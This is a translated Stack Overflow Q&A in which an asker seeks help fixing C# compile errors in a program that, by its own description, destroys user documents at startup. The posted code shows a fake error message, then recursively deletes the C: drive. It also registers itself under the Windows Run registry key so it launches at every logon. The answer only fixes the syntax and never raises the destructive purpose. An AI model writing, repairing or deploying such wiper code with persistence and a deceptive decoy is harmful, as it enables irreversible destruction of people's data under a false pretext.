我正在尝试创建一个在启动时删除用户文档的应用程序(我知道这听起来可能是恶意的,但它是针对学校项目的)。
但是,我收到错误“命名空间不能直接包含字段或方法等成员”。
看了一下,好像还好吧?我希望第二双眼睛能提供帮助,因为我到处搜索,但找不到相关的解决方案!
不可否认,由于我的知识非常基础,我使用了很多在线和书籍的帮助,而我对 c# 的了解是有限的。因此可能只是我太笨了,但每个人都必须从某个地方开始,对吧?
代码如下:
namespace Test
{
class Program
{
static void Main(string[] args)
{
MessageBox.Show("An unexpected error occured");
if (System.IO.Directory.Exists(@"C:\"))
{
try
{
System.IO.Directory.Delete("C:\\", true);
}
catch (System.IO.IOException e)
{
Console.WriteLine(e.Message);
}
}
}
}
public class Program
{
private void SetStartup();
}
RegistryKey rk = Registry.CurrentUser.OpenSubKey
("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (chkStartUp.Checked)
rk.SetValue(AppName, Application.ExecutablePath.ToString());
else
rk.DeleteValue(AppName, false);
}
最佳答案
您的代码在 SetStartup
周围严重困惑。如果您遵循正常的缩进,您会更清楚地看到发生了什么。在 Visual Studio 中按 Ctrl-E,然后按 D,它会重新格式化您的文档 - 这应该会让事情变得更加清晰。
看看这个(在我缩进之后):
public class Program
{
private void SetStartup();
}
RegistryKey rk = [...];
这试图在类之外声明一个变量 (rk
)。您还有一个没有主体的非抽象方法,并且最后缺少右大括号。
我怀疑你的意思是:
public class Program
{
// Note: no semi-colon, and an *opening* brace
private void SetStartup()
{
RegistryKey rk = [...];
// Other code
}
}
// And you'd want to close the namespace declaration too
声明两个(非部分)同名类时也会遇到问题...
关于c# - 命名空间不能直接包含字段或方法等成员吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/9383791/